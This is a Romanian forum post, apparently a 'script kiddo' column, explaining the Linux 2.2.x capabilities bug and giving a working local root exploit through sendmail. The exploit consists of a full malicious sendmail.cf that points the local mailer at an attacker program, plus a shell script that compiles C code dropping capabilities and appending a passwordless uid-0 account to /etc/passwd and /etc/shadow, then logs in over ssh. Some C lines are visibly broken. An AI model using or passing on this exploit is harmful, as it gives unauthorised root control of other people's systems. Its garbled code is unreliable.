Z!p3r
Moderator
 Inregistrat: acum 17 ani
Postari: 307
|
|
Incepand din acest numar, m-am gandit sa infiintzez o rubrica pentru "script kiddies", nu de alta, dar sunt un tip foarte lenesh, si tzin minte ca pe vremuri nu de mult apuse, eram ahtiat dupa programele ushor de folosit, care sa imi ofere root in nu mai mult de 10 minute pe diferite linux-box-uri. Si cum printre cititorii revistei sunt cu sigurantza sunt doritori...
Recent, s-a descoperit ca in kernelele 2.2.x exista o mare problema, si tocmai despre aceasta problema o sa discutam astazi.
"Capabilitatzile" cerute de unul din standardele POSIX au fost recent implementate in kernelul de Linux. Mai exact de pe la 2.2. incoace. Aceste "capabilitatzi" sunt de fapt un nou mod de contol al privilegiilor, care spun de fapt intr-un mod mai specific ce pot sa faca procesele privilegiate (nu vreau sa fiu foarte rautacios cu cititorii revistei, dar shtitzi ce-s alea procese, nu?).
Problema cu aceste capabilitati este ca ele se mostenesc de la procesul tata la procesul fiu asa cum sunt. Si acuma modul de exploatare: Daca setam toti capabilitatile la 0 (adica cel mai neprivilegiat mod cu putiintza), un program cum este sendmail care incearca sa faca un setgid si setuid inainte de a face lucruri care pot dauna sistemului daca sunt rulate ca root, nu va mai reusi sa faca acest lucru, si va rula in continuare ca root. Si daca ai un program care ruleaza ca root, si care face tot ce vrei tu, mai e vreo problema sa controlezi masina resprectiva ? Eu cred ca nu.
Bun. Si cum rubrica se numeste "sKript Kiddo", sa vedem acuma scriptul care face toate povestea sa functioneze cum trebuie. Dar nu va grabiti. Mai intai sa va explic ce vreau sa fac. In primul rand am de gand sa ma joc de-a sendmail-u. Adica sa folosesc sendmailul ca shperaclu in sistem. Si dupa cum stiti, sendmailul are un fisier de configurare, pe care-l chiama sendmail.cf. Ei bine, mie nu imi place acel fisier, asa ca o sa scriu altul. Apoi am de gand sa fac un programel care sa arunce in aer privilegiile lui sendmail, astfel incat sendmail sa nu mai poata sa faca setuid si setgid, iar apoi sendmail.cf-ul scris de mine o sa-i spuna sendmail-ului sa ruleze un program care va scrie in /etc/passwd si in /etc/shadow o noua linie, care imi va da cont de root.
Deci. Copiati tot ce urmeaza intr-un fisier pe care il veti denumi sendmail.cf. La sfarsitul fisierului, cam a 15-a linie de sus in jos, exista o linie comentata. Urmati indicatiile.
--- Cut Here (sendmail.cf) --
V8/Berkeley
Cwlocalhost
Fw/etc/sendmail.cw
DSlocalhost
CO @ % !
C..
C[[
Kaccess hash -o /etc/mail/access
FR-o /etc/mail/relay-domains
Kdequote dequote
CE root
DnMAILER-DAEMON
CPREDIRECT
DZ8.9.3
O SevenBitInput=False
O EightBitMode=pass8
O AliasWait=10
O AliasFile=/etc/aliases
O MinFreeBlocks=100
O BlankSub=.
O HoldExpensive=False
O DeliveryMode=background
O AutoRebuildAliases=True
O TempFileMode=0600
O HelpFile=/usr/lib/sendmail.hf
O SendMimeErrors=True
O ForwardPath=$z/.forward.$w:$z/.forward
O ConnectionCacheSize=2
O ConnectionCacheTimeout=5m
O UseErrorsTo=False
O LogLevel=9
O CheckAliases=False
O OldStyleHeaders=True
O PrivacyOptions=authwarnings
O QueueDirectory=/tmp
O Timeout.connect=1m
O Timeout.queuereturn=5d
O Timeout.queuewarn=4h
O SuperSafe=True
O StatusFile=/var/log/sendmail.st
O DefaultUser=8:12
O TryNullMXList=true
O RefuseLA=12
O MaxDaemonChildren=20
O ConnectionRateThrottle=1
O HostsFile=/etc/hosts
O SmtpGreetingMessage=$j Sendmail $v/$Z; $b
O UnixFromLine=From $g $d
O OperatorChars=.:%@!^/[]+
O DontProbeInterfaces=true
Pfirst-class=0
Pspecial-delivery=100
Plist=-30
Pbulk=-60
Pjunk=-100
Troot
Tdaemon
Tuucp
H?P?Return-Path: <$g>
HReceived: $?sfrom $s $.$?_($?s$|from $.$_)
$.by $j ($v/$Z)$?r with $r$. id $i$?u
for $u; $|;
$.$b
H?D?Resent-Date: $a
H?D?Date: $a
H?F?Resent-From: $?x$x <$g>$|$g$.
H?F?From: $?x$x <$g>$|$g$.
H?x?Full-Name: $x
H?M?Resent-Message-Id: E-mail;
H?M?Message-Id: E-mail;
S3
R$@ $@ <@>
R$* $: $1 <@> mark addresses
R$* < $* > $* <@> $: $1 < $2 > $3 unmark <addr>
R@ $* <@> $: @ $1 unmark @host:...
R$* :: $* <@> $: $1 :: $2 unmark node::addr
R:include: $* <@> $: :include: $1 unmark :include:...
R$* [ $* : $* ] <@> $: $1 [ $2 : $3 ] unmark IPv6 addrs
R$* : $* [ $* ] $: $1 : $2 [ $3 ] <@> remark if leading colon
R$* : $* <@> $: $2 strip colon if marked
R$* <@> $: $1 unmark
R$* ; $1 strip trailing semi
R$* < $* ; > $1 < $2 > bogus bracketed semi
R$@ $@ :; <@>
R$* $: < $1 > housekeeping <>
R$+ < $* > < $2 > strip excess on left
R< $* > $+ < $1 > strip excess on right
R<> $@ < @ > MAIL FROM:<> case
R< $+ > $: $1 remove housekeeping <>
R@ $+ , $+ @ $1 : $2 change all "," to ":"
R@ $+ : $+ $@ $>96 < @$1 > : $2 handle <route-addr>
R $+ : $* ; @ $+ $@ $>96 $1 : $2 ; < @ $3 > list syntax
R $+ : $* ; $@ $1 : $2; list syntax
R$+ @ $+ $: $1 < @ $2 > focus on domain
R$+ < $+ @ $+ > $1 $2 < @ $3 > move gaze right
R$+ < @ $+ > $@ $>96 $1 < @ $2 > already canonical
R$* < @ $* : $* > $* $1 < @ $2 $3 > $4 nix colons in addrs
R$- ! $+ $@ $>96 $2 < @ $1 .UUCP > resolve uucp names
R$+ . $- ! $+ $@ $>96 $3 < @ $1 . $2 > domain uucps
R$+ ! $+ $@ $>96 $2 < @ $1 .UUCP > uucp subdomains
R$* % $* $1 @ $2 First make them all @s.
R$* @ $* @ $* $1 % $2 @ $3 Undo all but the last.
R$* @ $* $@ $>96 $1 < @ $2 > Insert < > and finish
R$* $@ $>96 $1
S96
R$* < @ localhost > $* $: $1 < @ $j . > $2 no domain at all
R$* < @ localhost . $m > $* $: $1 < @ $j . > $2 local domain
R$* < @ localhost . UUCP > $* $: $1 < @ $j . > $2 .UUCP domain
R$* < @ [ $+ ] > $* $: $1 < @@ [ $2 ] > $3 mark [a.b.c.d]
R$* < @@ $=w > $* $: $1 < @ $j . > $3 self-literal
R$* < @@ $+ > $* $@ $1 < @ $2 > $3 canon IP addr
R$* < @ $+ . UUCP > $* $: $1 < @ $[ $2 $] . UUCP . > $3
R$* < @ $+ . . UUCP . > $* $@ $1 < @ $2 . > $3
R$* < @ $=w > $* $: $1 < @ $2 . > $3
R$* < @ $j > $* $: $1 < @ $j . > $2
R$* < @ $=M > $* $: $1 < @ $2 . > $3
R$* < @ $* $=P > $* $: $1 < @ $2 $3 . > $4
R$* < @ $* . . > $* $1 < @ $2 . > $3
S4
R$* <@> $@ handle <> and list:;
R$* < @ $+ . > $* $1 < @ $2 > $3
R$* < @ *LOCAL* > $* $1 < @ $j > $2
R$* < $+ > $* $1 $2 $3 defocus
R@ $+ : @ $+ : $+ @ $1 , @ $2 : $3 <route-addr> canonical
R@ $* $@ @ $1 ... and exit
R$+ @ $- . UUCP $2!$1 => h!u
R$+ % $=w @ $=w $1 @ $2 E-mail => >S97
R$* $: $>3 $1
R$* $@ $>0 $1
S0
R$* $: $>Parse0 $1 initial parsing
R<@> $#local $: <@> special case error msgs
R$* $: $>98 $1 handle local hacks
R$* $: $>Parse1 $1 final parsing
SParse0
R<@> $@ <@> special case error msgs
R$* : $* ; <@> $#error $@ 5.1.3 $: "List:; syntax illegal for recipient addresses"
#R@ <@ $* > < @ $1 > catch "@@host" bogosity
R<@ $+> $#error $@ 5.1.3 $: "User address required"
R$* $: <> $1
R<> $* < @ [ $+ ] > $* $1 < @ [ $2 ] > $3
R<> $* <$* : $* > $* $#error $@ 5.1.3 $: "Colon illegal in host name part"
R<> $* $1
R$* < @ . $* > $* $#error $@ 5.1.2 $: "Invalid host name"
R$* < @ $* .. $* > $* $#error $@ 5.1.2 $: "Invalid host name"
R$* < @ > $* $@ $>Parse0 $>3 $1 user@ => user
R< @ $=w . > : $* $@ $>Parse0 $>3 $2 @here:... -> ...
R$- < @ $=w . > $: $(dequote $1 $) < @ $2 . > dequote "foo"@here
R< @ $+ > $#error $@ 5.1.3 $: "User address required"
R$* $=O $* < @ $=w . > $@ $>Parse0 $>3 $1 $2 $3 -> ...
R$- $: $(dequote $1 $) < @ *LOCAL* > dequote "foo"
R< @ *LOCAL* > $#error $@ 5.1.3 $: "User address required"
R$* $=O $* < @ *LOCAL* >
$@ $>Parse0 $>3 $1 $2 $3 ...@*LOCAL* -> ...
R$* < @ *LOCAL* > $: $1
SParse1
R$* < @ [ $+ ] > $* $: $>98 $1 < @ [ $2 ] > $3 numeric internet spec
R$* < @ [ $+ ] > $* $#esmtp $@ [$2] $: $1 < @ [$2] > $3 still numeric: send
R$+ < @ $=w . > $: < $(virtuser $1 @ $2 $@ $1 $: @ $) > $1 < @ $2 . >
R<@> $+ + $* < @ $* . >
$: < $(virtuser $1 + * @ $3 $@ $1 $: @ $) > $1 + $2 < @ $3 . >
R<@> $+ + $* < @ $* . >
$: < $(virtuser $1 @ $3 $@ $1 $: @ $) > $1 + $2 < @ $3 . >
R<@> $+ < @ $+ . > $: < $(virtuser @ $2 $@ $1 $: @ $) > $1 < @ $2 . >
R<@> $+ $: $1
R< error : $- $+ > $* $#error $@ $(dequote $1 $) $: $2
R< $+ > $+ < @ $+ > $: $>97 $1
R$=L < @ $=w . > $#local $: @ $1 special local names
R$+ < @ $=w . > $#local $: $1 regular local name
R$* < @ $* > $* $: $>95 < $S > $1 < @ $2 > $3 glue on smarthost name
R$* < @$* > $* $#esmtp $@ $2 $: $1 < @ $2 > $3 E-mail
R$=L $#local $: @ $1 special local names
R$+ $#local $: $1 regular local names
S5
R$+ + * $#local $@ $&h $: $1
R$+ + $* $#local $@ + $2 $: $1 + *
R$+ $: <> $1
R< > $+ $: < $H > $1 try hub
R< > $+ $: < $R > $1 try relay
R< > $+ $: < > < $1 $&h > nope, restore +detail
R< > < $+ + $* > $* < > < $1 > + $2 $3 find the user part
R< > < $+ > + $* $#local $@ $2 $: @ $1 strip the extra +
R< > < $+ > $@ $1 no +detail
R$+ $: $1 <> $&h add +detail back in
R$+ <> + $* $: $1 + $2 check whether +detail
R$+ <> $* $: $1 else discard
R< local : $* > $* $: $>95 < local : $1 > $2 no host extension
R< error : $* > $* $: $>95 < error : $1 > $2 no host extension
R< $- : $+ > $+ $: $>95 < $1 : $2 > $3 < @ $2 >
R< $+ > $+ $@ $>95 < $1 > $2 < @ $1 >
S95
R< > $* $@ $1 strip off null relay
R< error : $- $+ > $* $#error $@ $(dequote $1 $) $: $2
R< local : $* > $* $>CanonLocal < $1 > $2
R< $- : $+ @ $+ > $*<$*>$* $# $1 $@ $3 $: $2<@$3> use literal user
R< $- : $+ > $* $# $1 $@ $2 $: $3 try qualified mailer
R< $=w > $* $@ $2 delete local host
R< $+ > $* $#relay $@ $1 $: $2 use unqualified mailer
SCanonLocal
R< $* > < @ $+ > : $+ $@ $>97 $3
R< $* > $+ $=O $+ < @ $+ > $@ $>97 $2 $3 $4
R< $* > $* < @ $* . > $: < $1 > $2 < @ $3 >
R< > $* < @ $* > $* $#local $@ E-mail $: $1
R< > $+ $#local $@ $1 $: $1
R< $+ @ $+ > $* < @ $* > $: < $1 > $3 < @ $4 >
R< $+ > $* <@ $* > $* $#local $@ E-mail $: $1
R< $+ > $* $#local $@ $2 $: $1
S93
R$=E < @ *LOCAL* > $@ $1 < @ $j . > leave exposed
R$=E < @ $=M . > $@ $1 < @ $2 . >
R$=E < @ $=w . > $@ $1 < @ $2 . >
R$* < @ $=M . > $* $: $1 < @ $2 . @ $M > $3 convert masqueraded doms
R$* < @ $=w . > $* $: $1 < @ $2 . @ $M > $3
R$* < @ *LOCAL* > $* $: $1 < @ $j . @ $M > $2
R$* < @ $+ @ > $* $: $1 < @ $2 > $3 $M is null
R$* < @ $+ @ $+ > $* $: $1 < @ $3 . > $4 $M is not null
S94
R$* < @ *LOCAL* > $* $: $1 < @ $j . > $2
S98
R wmail.$- $# wmail $: $1
R wmail.$- < @ $=w . > $# wmail $: $1
R wmail.$- < @ [ $=w ] . > $# wmail $: $1
R wmail.$- < @ [ $+ ] . > $# wmail $: $1
R$* < @ $+ .REDIRECT. > $: $1 < @ $2 . REDIRECT . > < ${opMode} >
R$* < @ $+ .REDIRECT. > <i> $: $1 < @ $2 . REDIRECT. >
R$* < @ $+ .REDIRECT. > < $- > $# error $@ 5.1.1 $: "551 User has moved; please try " E-mail;
SLookUpDomain
R<$+> <$+> <$*> $: < $(access $1 $: ? $) > <$1> <$2> <$3>
R<?> <$+.$+> <$+> <$*> $@ $>LookUpDomain <$2> <$3> <$4>
R<?> <$+> <$+> <$*> $@ <$2> <$3>
R<$*> <$+> <$+> <$*> $@ <$1> <$4>
SLookUpAddress
R<$+> <$+> <$*> $: < $(access $1 $: ? $) > <$1> <$2> <$3>
R<?> <$+.$-> <$+> <$*> $@ $>LookUpAddress <$1> <$3> <$4>
R<?> <$+> <$+> <$*> $@ <$2> <$3>
R<$*> <$+> <$+> <$*> $@ <$1> <$4>
SCanonAddr
R$* $: $>Parse0 $>3 $1 make domain canonical
R< @ $+ > : $* @ $* < @ $1 > : $2 % $3 change @ to % in src route
R$* < @ $+ > : $* : $* $3 $1 < @ $2 > : $4 change to % hack.
R$* < @ $+ > : $* $3 $1 < @ $2 >
SParseRecipient
R$* $: <?> $>CanonAddr $1
R<?> $* < @ $* . > <?> $1 < @ $2 > strip trailing dots
R<?> $- < @ $* > $: <?> $(dequote $1 $) < @ $2 > dequote local part
R<?> $* $=O $* < @ $* > $: <NO> $1 $2 $3 < @ $4>
R<?> $* $@ $1
R<NO> $* < @ $* $=R > $: <RELAY> $1 < @ $2 $3 >
R<NO> $* < @ $+ > $: $>LookUpDomain <$2> <NO> <$1 < @ $2 >>
R<$+> <$+> $: <$1> $2
R<RELAY> $* < @ $* > $@ $>ParseRecipient $1
R<$-> $* $@ $2
SLocal_check_relay
Scheck_relay
R$* $: $1 $| $>"Local_check_relay" $1
R$* $| $* $| $#$* $#$3
R$* $| $* $| $* $@ $>"Basic_check_relay" $1 $| $2
SBasic_check_relay
R$* $: < ${deliveryMode} > $1
R< d > $* $@ deferred
R< $* > $* $: $2
R$+ $| $+ $: $>LookUpDomain < $1 > <?> < $2 >
R<?> < $+ > $: $>LookUpAddress < $1 > <?> < $1 >
R<?> < $+ > $: $1
R<OK> < $* > $@ OK
R<RELAY> < $* > $@ RELAY
R<REJECT> $* $#error $@ 5.7.1 $: "550 Access denied"
R<DISCARD> $* $#discard $: discard
R<$+> $* $#error $@ 5.7.1 $: $1
SLocal_check_mail
Scheck_mail
R$* $: $1 $| $>"Local_check_mail" $1
R$* $| $#$* $#$2
R$* $| $* $@ $>"Basic_check_mail" $1
SBasic_check_mail
R$* $: < ${deliveryMode} > $1
R< d > $* $@ deferred
R< $* > $* $: $2
R<> $@ <OK>
R$* $: <?> $>CanonAddr $1
R<?> $* < @ $+ . > <?> $1 < @ $2 > strip trailing dots
R<?> $* < $* $=P > $* $: <OK> $1 < @ $2 $3 > $4
R<?> $* < @ $+ > $* $: <OK> $1 < @ $2 > $3 ... unresolvable OK
R<$+> $* < @localhost > $: < ? $&{client_name} > <$1> $2 < @localhost >
R<$+> $* < @localhost.$m >
$: < ? $&{client_name} > <$1> $2 < @localhost.$m >
R<$+> $* < @localhost.UUCP >
$: < ? $&{client_name} > <$1> $2 < @localhost.UUCP >
R<? $=w> <$+> $* <?> <$2> $3
R<? $+> <$+> $* $#error $@ 5.5.4 $: "553 Real domain name required"
R<?> <$+> $* $: <$1> $2
R<$+> $* < @ $+ > $* $: <USER $(access $2@ $: ? $) > <$1> $2 < @ $3 > $4
R<USER ?> <$+> $* < @ $* > $*
$: <USER $(access E-mail $: ? $) > <$1> $2 < @ $3 > $4
R<USER ?> <$+> $+ < @ $+ > $*
$: <USER $(access E-mail $: ? $) > <$1> $2 < @ $3 > $4
R<USER ?> <$+> $* < @ $+ > $*
$: $>LookUpDomain <$3> <$1> <>
R<?> $* $: <USER $(access $1@ $: ? $) > <?> $1
R<USER $+> <$+> $* $: <$1> $3
R<?> $* $: < ? $&{client_name} > $1
R<?> $* $@ <OK> ...local unqualed ok
R<? $+> $* $#error $@ 5.5.4 $: "553 Domain name required"
...remote is not
R<?> $* $@ <OK>
R<OK> $* $@ <OK>
R<TEMP> $* $#error $@ 4.1.8 $: "451 Sender domain must resolve"
R<PERM> $* $#error $@ 5.1.8 $: "501 Sender domain must exist"
R<RELAY> $* $@ <RELAY>
R<DISCARD> $* $#discard $: discard
R<REJECT> $* $#error $@ 5.7.1 $: "550 Access denied"
R<$+> $* $#error $@ 5.7.1 $: $1 error from access db
SLocal_check_rcpt
Scheck_rcpt
R$* $: $1 $| $>"Local_check_rcpt" $1
R$* $| $#$* $#$2
R$* $| $* $@ $>"Basic_check_rcpt" $1
SBasic_check_rcpt
R$* $: < ${deliveryMode} > $1
R< d > $* $@ deferred
R< $* > $* $: $2
R$* $: $>ParseRecipient $1 strip relayable hosts
R$* $: <?> $1
R<?> $+ < @ $=w > $: <> <USER $1> <FULL E-mail; <HOST $2> <$1 < @ $2 >>
R<?> $+ < @ $* > $: <> <FULL E-mail; <HOST $2> <$1 < @ $2 >>
R<?> $+ $: <> <USER $1> <$1>
R<> <USER $+> $* $: <$(access $1 $: $)> $2
R<> <FULL $+> $* $: <$(access $1 $: $)> $2
R<OK> <FULL $+> $* $: <$(access $1 $: $)> $2
R<> <HOST $+> $* $: <$(access $1 $: $)> $2
R<OK> <HOST $+> $* $: <$(access $1 $: $)> $2
R<> <$*> $: $1
R<OK> <$*> $: $1
R<RELAY> <$*> $: $1
R<REJECT> $* $#error $@ 5.2.1 $: "550 Mailbox disabled for this recipient"
R<$+> $* $#error $@ 5.2.1 $: $1 error from access db
R$+ < @ $=w > $@ OK
R$+ < @ $* $=R > $@ OK
R$+ < @ $* > $: $>LookUpDomain <$2> <?> <$1 < @ $2 >>
R<RELAY> $* $@ RELAY
R<$*> <$*> $: $2
R$* $: <?> $1
R<?> $* < @ $+ > $: <REMOTE> $1 < @ $2 >
R<?> $+ $@ OK
R<$+> $* $: $2
R$* $: <?> $&{client_name}
R<?> [$+] $: <BAD> [$1]
R<?> $* $~P $: <?> $[ $1 $2 $]
R<$-> $* $: $2
R$* . $1 strip trailing dots
R$@ $@ OK
R$=w $@ OK
R$* $=R $@ OK
R$* $: $>LookUpDomain <$1> <?> <$1>
R<RELAY> $* $@ RELAY
R<$*> <$*> $: $2
R$* $: $&{client_addr}
R$@ $@ OK originated locally
R0 $@ OK originated locally
R$=R $* $@ OK relayable IP address
R$* $: $>LookUpAddress <$1> <?> <$1>
R<RELAY> $* $@ RELAY relayable IP address
R<$*> <$*> $: $2
R$* $: [ $1 ] put brackets around it...
R$=w $@ OK ... and see if it is local
R$* $#error $@ 5.7.1 $: "550 Relaying denied"
Mprocmail, P=/usr/bin/procmail, F=DFMSPhnu9, S=11/31, R=21/31, T=DNS/RFC822/X-Unix,
A=procmail -Y -m $h $f $u
Msmtp, P=[IPC], F=mDFMuX, S=11/31, R=21, E=rn, L=990,
T=DNS/RFC822/SMTP,
A=IPC $h
Mesmtp, P=[IPC], F=mDFMuXa, S=11/31, R=21, E=rn, L=990,
T=DNS/RFC822/SMTP,
A=IPC $h
Msmtp8, P=[IPC], F=mDFMuX8, S=11/31, R=21, E=rn, L=990,
T=DNS/RFC822/SMTP,
A=IPC $h
Mrelay, P=[IPC], F=mDFMuXa8, S=11/31, R=61, E=rn, L=2040,
T=DNS/RFC822/SMTP,
A=IPC $h
S11
R$+ $: $>51 $1 sender/recipient common
R$* :; <@> $@ list:; special case
R$* $: $>61 $1 qualify unqual'ed names
R$+ $: $>94 $1 do masquerading
S21
R$+ $: $>51 $1 sender/recipient common
R$+ $: $>61 $1 qualify unqual'ed names
S31
R$+ $: $>51 $1 sender/recipient common
R:; <@> $@ list:; special case
R$* <@> $* $@ $1 <@> $2 pass null host through
R< @ $* > $* $@ < @ $1 > $2 pass route-addr through
R$* $: $>61 $1 qualify unqual'ed names
R$+ $: $>93 $1 do masquerading
S51
R< @ $+ > $* $@ < @ $1 > $2 resolve <route-addr>
R$+ < @ $+ .UUCP. > $: < $2 ! > $1 convert to UUCP form
R$+ < @ $* > $* $@ $1 < @ $2 > $3 not UUCP form
R< $&h ! > $- ! $+ $@ $2 < @ $1 .UUCP. >
R< $&h ! > $-.$+ ! $+ $@ $3 < @ $1.$2 >
R< $&h ! > $+ $@ $1 < @ $&h .UUCP. >
R< $+ ! > $+ $: $1 ! $2 < @ $Y > use UUCP_RELAY
R$+ < @ $+ : $+ > $@ $1 < @ $3 > strip mailer: part
R$+ < @ > $: $1 < @ *LOCAL* > if no UUCP_RELAY
S61
R$* < @ $* > $* $@ $1 < @ $2 > $3 already fully qualified
R$+ $@ $1 < @ *LOCAL* > add local qualification
S71
R$+ $: $>61 $1
R$+ $: $>93 $1
#inlocuiti pe linia urmatoare stringul /calea/spre cu directorul curent
#eg: /home/user
Mlocal, P=/calea/spre/add, F=lsDFMAw5:/|@qSPfhn9, S=10/30, R=20/40,
T=DNS/RFC822/X-Unix,
A=add -Y -a $h -d $u
Mprog, P=/usr/sbin/smrsh, F=lsDFMoqeu9, S=10/30, R=20/40, D=$z:/,
T=X-Unix,
A=sh -c $u
Mwmail, P=/usr/local/wMail/wmail,
F=lsD, S=10/30, R=20/40, D=/tmp/,
T=X-Unix,
A=/usr/local/wMail/wmail $u
S10
R<@> $n errors to mailer-daemon
R@ <@ $*> $n temporarily bypass Sun bogosity
R$+ $: $>50 $1 add local domain if needed
R$* $: $>94 $1 do masquerading
S20
R$+ < @ $* > $: $1 strip host part
S30
R<@> $n errors to mailer-daemon
R@ <@ $*> $n temporarily bypass Sun bogosity
R$+ $: $>50 $1 add local domain if needed
R$* $: $>93 $1 do masquerading
S40
R$+ $: $>50 $1 add local domain if needed
S50
R$* < @ $* > $* $@ $1 < @ $2 > $3 already fully qualified
R$+ $@ $1 < @ *LOCAL* > add local qualification
--- Cut here (gata) --
Si in sfarshit scriptul
--- CUT HERE ---
#!/bin/sh
#
# Acest script este adaptat si modificat dupa programele care au
# fost publicate pe lista de discutzii BUGTRAQ.
# Folosirea lui poate produce pagube si este in general impotriva legii
# Personal va recomand sa nu il folositi.
# De asemenea, recomad sa nu il distribuitzi, cu toate ca este sub
# licentza GPL
echo creez fisierele sursa
cat <<gata1> ex.c
#include <linux/capability.h>
int main (void) {
cap_user_header_t header;
cap_user_data_t data;
header = malloc(;
data = malloc(12);
header->pid = 0;
header->version = _LINUX_CAPABILITY_VERSION;
data->inheritable = data->effective = data->permitted = 0;
capset(header, data);
execlp("/usr/sbin/sendmail", "sendmail" ,"-t", "-C", "./sendmail.cf", NULL);
}
gata1
echo si acuma cel de-al doilea
cat <<gata.2> add.c
#include <fcntl.h>
int main (void) {
int fd;
char string[250];
seteuid(0);
setegid(0);
setuid(0);
setgid(0);
system("chmod u+w /etc/shadow";
fd = open("/etc/passwd", O_APPEND|O_WRONLY);
strcpy(string, "shmekeru:0:0::/root:/bin/shn";
write(fd, string, strlen(string));
close(fd);
fd = open("/etc/shadow", O_APPEND|O_WRONLY);
strcpy(string, "shmekeru::11029:0:99999:7:::n";
write(fd, string, strlen(string));
close(fd);
}
gata.2
echo compilez...
gcc -o add add.c
gcc -o ex ex.c
cat <<gata3> mailexp
From: E-mail
To: E-mail
Subject: foo
bar
.
gata3
echo rulez xploitu
./ex < mailexp
echo si acuma ashteptatzi un pic...
sleep 10
echo root access pentru dumneavoastra
echo daca nu exista ssh instalat in sistem incercati
echo su shmekeru
ssh -lshmekeru localhost
© 20005-2009 ZBENG
|
|
